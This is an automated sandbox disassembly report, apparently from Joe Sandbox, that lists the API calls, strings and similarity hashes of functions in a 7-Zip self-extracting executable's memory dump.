lstrcmpiW.KERNEL32(0051A408,?), ref: 00402541
??3@YAXPAX@Z.MSVCRT(0051A408), ref: 00402551
??3@YAXPAX@Z.MSVCRT(?), ref: 0040256F
SetLastError.KERNEL32(00000003), ref: 00402578
lstrlenA.KERNEL32(0041B328), ref: 004025AC
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9
_wtol.MSVCRT ref: 0040260A
MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,0051A408,00000002), ref: 0040262A

Strings

7zSfxString%d, xrefs: 004024D7

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ErrorLast$??2@??3@EnvironmentVariable$ByteCharInfoLocaleMultiWide_wtollstrcmpilstrlenwsprintf
String ID: 7zSfxString%d
API String ID: 2117570002-3906403175
Opcode ID: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
Instruction ID: 1954578a42ed511618fabe736ee1125ec7d3cad31fc3f85986fc13fa068848c6
Opcode Fuzzy Hash: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
Instruction Fuzzy Hash: 9951A379900214FFDB10DF75DD49ADABBA9FB08340F10443AE946E62D0E7B8A951CB1D

Function 004020BF Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
LoadResource.KERNEL32(00000000,00000000), ref: 00402116
LockResource.KERNEL32(00000000), ref: 00402121
LoadLibraryA.KERNEL32(kernel32,SetProcessPreferredUILanguages), ref: 0040214D
GetProcAddress.KERNEL32(00000000), ref: 00402156
wsprintfW.USER32 ref: 00402175
LoadLibraryA.KERNEL32(kernel32,SetThreadPreferredUILanguages), ref: 0040218A
GetProcAddress.KERNEL32(00000000), ref: 0040218D

Strings

SetProcessPreferredUILanguages, xrefs: 00402138
SetThreadPreferredUILanguages, xrefs: 00402184
kernel32, xrefs: 0040213D, 00402142, 00402189
%04X%c%04X%c, xrefs: 0040216F

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: Resource$Load$AddressFindLibraryProc$HandleLockModuleSizeofwsprintf
String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages$kernel32
API String ID: 2639302590-365843014
Opcode ID: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction ID: 092f3855134823e072dda954e94301c8fdf66ebe7b0f0e4b82829ee13f00460f
Opcode Fuzzy Hash: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction Fuzzy Hash: 7C21B0B5941308BBDB119BA59C08F9B3ABCEB44711F108422FA04E72D0D6B8CD108BA9

Function 00409606 Relevance: 16.6, APIs: 11, Instructions: 96stringwindowCOMMON

Download Yara Rule

APIs

wvsprintfW.USER32(?,00000000,?), ref: 0040962A
GetLastError.KERNEL32 ref: 0040963B
FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
lstrlenW.KERNEL32(?), ref: 0040968B
lstrlenW.KERNEL32(?), ref: 00409692
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@ErrorFreeLastLocalwvsprintf
String ID:
API String ID: 829399097-0
Opcode ID: e19ea4daa404c5e85e295f528f45600472c05eaa69f6bcc88292a866bb27d639
Instruction ID: 0f5aa2174aa9d056a6dafd0f9c7aa592ac4ad2a583e4ab7749965f253d727b0f
Opcode Fuzzy Hash: e19ea4daa404c5e85e295f528f45600472c05eaa69f6bcc88292a866bb27d639
Instruction Fuzzy Hash: F0216176800108FFDB159FA1DC85DEB7BACEF08354B10847BF946A6191EA359E84CBA4

Function 004031DC Relevance: 16.6, APIs: 11, Instructions: 90filestringCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,0041A68C,?,?,?,00000000), ref: 0040320B
lstrcmpW.KERNEL32(?,0041A688,?,0000005C,?,?,?,00000000), ref: 0040325E
lstrcmpW.KERNEL32(?,0041A680,?,?,00000000), ref: 00403274
SetFileAttributesW.KERNEL32(?,00000000,?,0000005C,?,?,?,00000000), ref: 0040328A
DeleteFileW.KERNEL32(?,?,?,00000000), ref: 00403291
FindNextFileW.KERNEL32(00000000,00000010,?,?,00000000), ref: 004032A3
FindClose.KERNEL32(00000000,?,?,00000000), ref: 004032B2
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000000), ref: 004032BD
RemoveDirectoryW.KERNEL32(?,?,?,00000000), ref: 004032C6
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004032D1
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004032DC

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: File$Find$??3@Attributeslstrcmp$CloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 1862581289-0
Opcode ID: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction ID: 78ea6f58b6c007c21ca8543ec41bf80dc5d167b0896979d67dadc0a8fcb0d376
Opcode Fuzzy Hash: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction Fuzzy Hash: 86216131601208BADB11AF61EC59EFE3B7CAF44746F1444BAF405B21D1EB389B45CA69

Function 00408DBB Relevance: 7.5, APIs: 5, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00408DDA
SetWindowsHookExW.USER32(00000007,Function_00008D01,00000000,00000000), ref: 00408DE5
GetCurrentThreadId.KERNEL32 ref: 00408DF4
SetWindowsHookExW.USER32(00000002,Function_00008D8D,00000000,00000000), ref: 00408DFF
EndDialog.USER32(?,00000000), ref: 00408E25

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: CurrentHookThreadWindows$Dialog
String ID:
API String ID: 1967849563-0
Opcode ID: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
Instruction ID: b9e6956ff065cd05f2df324d2b5f6df6e8dcd0ec849c0deb45459710c318944d
Opcode Fuzzy Hash: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
Instruction Fuzzy Hash: 51012671201218DFD2106F57ED44AB2F3ECEF54395B01843FE606D29A0CBB758008F69

Function 00402744 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,004066A7,?,?,?,?,004066A7), ref: 0040277D
CheckTokenMembership.ADVAPI32(00000000,004066A7,?,?,?,?,004066A7,00000000,?,?), ref: 0040278F
FreeSid.ADVAPI32(004066A7,?,?,?,004066A7,00000000,?,?), ref: 00402798

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
Instruction ID: 8fcaf4468ec200eb9195fd6454b881e9af9bec8ea6f7a7215fc0dea95779660d
Opcode Fuzzy Hash: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
Instruction Fuzzy Hash: 44F03176945248FEDB01DFE88D85ADDBF7CAB18200F4480AAE105A3182D2705714CB29

Function 00405489 Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 213threadprocesssynchronizationCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,00000000,?), ref: 004054AA
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 0040556D
??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 00405575
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 0040557D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 00405585
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 0040558D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000), ref: 00405595
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000), ref: 0040559D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 004055A5
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004055AD
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004055B5
GetStartupInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004055CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000001,01000004,00000000,00000044,?), ref: 004055F5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004055FF
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 0040560A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405612
CreateJobObjectW.KERNEL32(00000000,00000000), ref: 00405627
AssignProcessToJobObject.KERNEL32(00000000,?), ref: 0040563E
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 0040564E
SetInformationJobObject.KERNEL32(?,00000007,?,00000008), ref: 0040566F
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405678
GetQueuedCompletionStatus.KERNEL32(00000000,?,?,?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 00405697
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A0
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056B6
GetExitCodeProcess.KERNEL32(?,?), ref: 004056BF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 004056CA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004056D6
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056E8

Strings

" -, xrefs: 004054D5
sfxwaitall, xrefs: 004054D0

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@$CloseHandleObject$CreateProcess$CompletionErrorLastResumeThread$AssignCodeCommandExitInfoInformationLinePortQueuedSingleStartupStatusWait
String ID: " -$sfxwaitall
API String ID: 2734624574-3991362806
Opcode ID: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
Instruction ID: 96b1f86dbfc8e56d759c45ddf3715b356338dee30da8fd38d33b0e85c5ab07db
Opcode Fuzzy Hash: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
Instruction Fuzzy Hash: F66151B2801108BBDF11AFA2DC45DDF3B7DFF48314F004536F915A21A1EB3A99549B69

Function 00403B54 Relevance: 38.8, APIs: 20, Strings: 2, Instructions: 290comCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 00403B78
SHGetSpecialFolderPathW.SHELL32(00000000,?,?,00000000,0041EA00,00000000,0041E9F4), ref: 00403C1B
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403C8C
??3@YAXPAX@Z.MSVCRT(?,?,?), ref: 00403C94
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00403C9C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?), ref: 00403CA4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?), ref: 00403CAC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00403CB4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403CBC
_wtol.MSVCRT ref: 00403D12
CoCreateInstance.OLE32(0041C454,00000000,00000001,0041C414,[@,.lnk,?,0000005C), ref: 00403DB3
??3@YAXPAX@Z.MSVCRT(?,0000005C), ref: 00403E4B
??3@YAXPAX@Z.MSVCRT(?,?,0000005C), ref: 00403E53
??3@YAXPAX@Z.MSVCRT(?,?,?,0000005C), ref: 00403E5B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0000005C), ref: 00403E63
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,0000005C), ref: 00403E6B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,0000005C), ref: 00403E73
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,0000005C), ref: 00403E7B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,0000005C), ref: 00403E81
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0000005C), ref: 00403E89

Strings

[@, xrefs: 00403B65, 00403D9F, 00403DC1, 00403E13, 00403E3F, 00403E06, 00403DF5, 00403DE4, 00403DD3, 00403B77, 00403C7C, 00403DA2, 00403DCA, 00403DDB, 00403DEC, 00403DFD, 00403E0F, 00403E21, 00403E44
.lnk, xrefs: 00403D92

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@$_wtol$CreateFolderInstancePathSpecial
String ID: .lnk$[@
API String ID: 408529070-3575931549
Opcode ID: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction ID: 946a9f5c9c0093345211e4afafb7f9b8cfdd3f629f77b347e180bd11e348c725
Opcode Fuzzy Hash: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction Fuzzy Hash: 57A16E75810108ABCF15EFA1CC969EEBB7DFF19306F50442AF402B61A1EB399E41CB58

Function 00404F0E Relevance: 38.7, APIs: 3, Strings: 19, Instructions: 227stringCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 004050E7
_wtol.MSVCRT ref: 00405103
lstrcmpiW.KERNEL32(00000000,0041B810,?,?,?,?,?,?,?,?,?,?,?,?,?,004062C4), ref: 00404FEA

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(0051A408,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(0051A408), ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Strings

CancelPrompt, xrefs: 0040513C
OverwriteMode, xrefs: 0040502C
ExtractDialogText, xrefs: 004050B8
ExtractPathWidth, xrefs: 004050F0
GUIFlags, xrefs: 00405049, 0040504E, 0040506A
PasswordTitle, xrefs: 00405154
GUIMode, xrefs: 00404FFF
Title, xrefs: 00404F1C
Q, xrefs: 00404F56, 00404F77
ExtractTitle, xrefs: 00404FBA
MiscFlags, xrefs: 0040507C, 00405081, 0040509D
Progress, xrefs: 00404FD2
ExtractPathTitle, xrefs: 0040510C
ErrorTitle, xrefs: 00404F8A
PasswordText, xrefs: 0040516C
WarningTitle, xrefs: 00404FA2
ExtractCancelText, xrefs: 004050AC
ExtractPathText, xrefs: 00405124
ExtractDialogWidth, xrefs: 004050C9

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ErrorLast$??2@EnvironmentVariable_wtollstrcmpi$??3@InfoLocalelstrlenwsprintf
String ID: CancelPrompt$ErrorTitle$ExtractCancelText$ExtractDialogText$ExtractDialogWidth$ExtractPathText$ExtractPathTitle$ExtractPathWidth$ExtractTitle$GUIFlags$GUIMode$MiscFlags$OverwriteMode$PasswordText$PasswordTitle$Progress$Title$WarningTitle$Q
API String ID: 2725485552-3552768495
Opcode ID: d0ccb95079a2c606f9a3c0ce682cef1d136eaf38159f665c4b074d3e10087a1f
Instruction ID: 66a2ce9ff7a2cb702224bd8f74ea761d5872454bbbc4643ec2785d60350ddd68
Opcode Fuzzy Hash: d0ccb95079a2c606f9a3c0ce682cef1d136eaf38159f665c4b074d3e10087a1f
Instruction Fuzzy Hash: AC51D8F1E016007ADA216B275D4ADAF366CEB85704B28443BFD04F22D6E77C4A4046EF

Function 00405793 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 144fileCOMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,?,?), ref: 004057DA
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0040580B
WriteFile.KERNEL32(0041EA30,?,?,00407468,00000000,del ",:Repeat,00000000), ref: 004058C0
??3@YAXPAX@Z.MSVCRT(?), ref: 004058CB
CloseHandle.KERNEL32(0041EA30), ref: 004058D4
SetFileAttributesW.KERNEL32(00407468,00000000), ref: 004058EB
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 004058FD
??3@YAXPAX@Z.MSVCRT(?), ref: 00405906
??3@YAXPAX@Z.MSVCRT(?), ref: 00405912
??3@YAXPAX@Z.MSVCRT(00407468,?), ref: 00405918
??3@YAXPAX@Z.MSVCRT(00407468,?,?,?,?,?,?,?,?,?,?,?,?,?,00407468,0041EA30), ref: 00405946

Strings

if exist ", xrefs: 0040585B
", xrefs: 0040584D, 00405852, 00405896
open, xrefs: 004058F7
:Repeat, xrefs: 00405826
7ZSfx%03x.cmd, xrefs: 004057EC
del ", xrefs: 00405833, 00405838, 00405881
" goto Repeat, xrefs: 00405874

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@$File$AttributesCloseCreateDriveExecuteHandleShellTypeWrite
String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$del "$if exist "$open
API String ID: 3007203151-3467708659
Opcode ID: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
Instruction ID: eb7ea14b5f0693ba8c6a98bcb421c9bec9bd01f197c59b95adb21b6866ed8523
Opcode Fuzzy Hash: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
Instruction Fuzzy Hash: DE413871800108AEDB11ABA5EC86DEF7B7DEF04724F50843AF511721E1EB795E85CB98

Function 00403423 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 123windowlibrarystringCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00403436
lstrcmpiA.KERNEL32(?,STATIC), ref: 00403449
GetWindowLongW.USER32(?,000000F0), ref: 00403456

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT(?), ref: 00403483
GetParent.USER32(?), ref: 00403491
LoadLibraryA.KERNEL32(riched20), ref: 004034A5
GetMenu.USER32(?), ref: 004034B8
SetThreadLocale.KERNEL32(00000419), ref: 004034C5
CreateWindowExW.USER32(00000000,RichEdit20W,0041A584,50000804,?,?,?,?,?,00000000,00000000,00000000), ref: 004034F5
DestroyWindow.USER32(?), ref: 00403506
SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 0040351B
GetSysColor.USER32(0000000F), ref: 0040351F
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0040352D
SendMessageW.USER32(00000000,00000461,?,?), ref: 00403558
??3@YAXPAX@Z.MSVCRT(?), ref: 0040355D
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403565

Strings

riched20, xrefs: 004034A0
STATIC, xrefs: 00403440
{\rtf, xrefs: 0040346C
RichEdit20W, xrefs: 004034EF

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: Window$??3@MessageSend$Text$ClassColorCreateDestroyLengthLibraryLoadLocaleLongMenuNameParentThreadlstrcmpi
String ID: RichEdit20W$STATIC$riched20${\rtf
API String ID: 3514532227-2281146334
Opcode ID: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
Instruction ID: e5fea360a7eb9894b086cd4675cd9c6500acd79176ce5b6afcc660833785d9d0
Opcode Fuzzy Hash: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
Instruction Fuzzy Hash: 67317F72901109BFDB01AFA5DC49EEF7BBCEB08705F10407AF604F6190DA799E518B6A

Function 00408E76 Relevance: 34.8, APIs: 23, Instructions: 265windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
LoadIconW.USER32(00000000), ref: 00408EA2
GetSystemMetrics.USER32(00000032), ref: 00408EB6
GetSystemMetrics.USER32(00000031), ref: 00408EBB
GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
LoadImageW.USER32(00000000), ref: 00408EC7
SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
GetDlgItem.USER32(?,000004B2), ref: 00408F0C
GetDlgItem.USER32(?,000004B2), ref: 00408F16
GetWindowLongW.USER32(?,000000F0), ref: 00408F22
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
GetDlgItem.USER32(?,000004B5), ref: 00408F3F
GetDlgItem.USER32(?,000004B5), ref: 00408F4D
GetWindowLongW.USER32(?,000000F0), ref: 00408F59
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68
GetWindow.USER32(?,00000005), ref: 0040904E
